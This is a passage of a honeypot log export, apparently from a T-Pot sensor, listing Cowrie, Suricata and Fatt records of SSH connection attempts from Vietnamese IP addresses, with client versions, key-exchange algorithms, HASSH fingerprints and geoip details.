"diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d1954c9f280c", "@version": "1", "timestamp": "2021-09-20T11:09:46.474133Z", "@timestamp": "2021-09-20T11:09:46.474Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25358	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:46.717464+03	2021-09-20 14:15:10.02347+03	{"_id": "iAblAnwBvYTbRNuEzhmy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 49 seconds", "session": "5cdb690ff84f", "@version": "1", "duration": 49.34280252456665, "timestamp": "2021-09-20T11:09:46.717464Z", "@timestamp": "2021-09-20T11:09:46.717Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25360	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:46.895493+03	2021-09-20 14:15:10.026498+03	{"_id": "igblAnwBvYTbRNuEzhmy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e72f1f065bb0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:46.895493Z", "@timestamp": "2021-09-20T11:09:46.895Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25361	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:47.291257+03	2021-09-20 14:15:10.028471+03	{"_id": "iwblAnwBvYTbRNuEzhmy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a5c432a782e1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:47.291257Z", "@timestamp": "2021-09-20T11:09:47.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25362	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:47.408996+03	2021-09-20 14:15:10.029518+03	{"_id": "jAblAnwBvYTbRNuEzhmy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e72f1f065bb0", "@version": "1", "timestamp": "2021-09-20T11:09:47.408996Z", "@timestamp": "2021-09-20T11:09:47.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25363	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:09:47.120425+03	2021-09-20 14:15:10.0305+03	{"_id": "jQblAnwBvYTbRNuE0Bny", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 2147846236810121, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51508, "dest_port": 22, "timestamp": "2021-09-20T11:09:47.120425Z", "@timestamp": "2021-09-20T11:09:47.120Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25364	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:47.293398+03	2021-09-20 14:15:10.031501+03	{"_id": "kAblAnwBvYTbRNuE0hkC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53702, "timestamp": "2021-09-20T11:09:47.293398", "@timestamp": "2021-09-20T11:09:47.293Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25365	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:09:47.695284+03	2021-09-20 14:15:10.0335+03	{"_id": "jwblAnwBvYTbRNuE0hkC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53702, "dest_port": 22, "timestamp": "2021-09-20T11:09:47.695284", "@timestamp": "2021-09-20T11:09:47.695Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25366	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:47.963732+03	2021-09-20 14:15:10.0345+03	{"_id": "mAblAnwBvYTbRNuE0hma", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:7273 (192.168.176.2:22) [session: 636d77f75103]", "session": "636d77f75103", "@version": "1", "protocol": "ssh", "src_port": 7273, "dest_port": 22, "timestamp": "2021-09-20T11:09:47.963732Z", "@timestamp": "2021-09-20T11:09:47.963Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25367	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:47.462279+03	2021-09-20 14:15:10.035503+03	{"_id": "mwblAnwBvYTbRNuE0hma", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d33f7fcd1b48", "@version": "1", "duration": 2.9343674182891846, "timestamp": "2021-09-20T11:09:47.462279Z", "@timestamp": "2021-09-20T11:09:47.462Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25368	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:48.265263+03	2021-09-20 14:15:10.036518+03	{"_id": "nAblAnwBvYTbRNuE0hma", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "636d77f75103", "@version": "1", "timestamp": "2021-09-20T11:09:48.265263Z", "@timestamp": "2021-09-20T11:09:48.265Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25369	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:48.239819+03	2021-09-20 14:15:10.038473+03	{"_id": "ngblAnwBvYTbRNuE1Bnb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 428469896576667, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 7273, "dest_port": 22, "timestamp": "2021-09-20T11:09:48.239819Z", "@timestamp": "2021-09-20T11:09:48.239Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
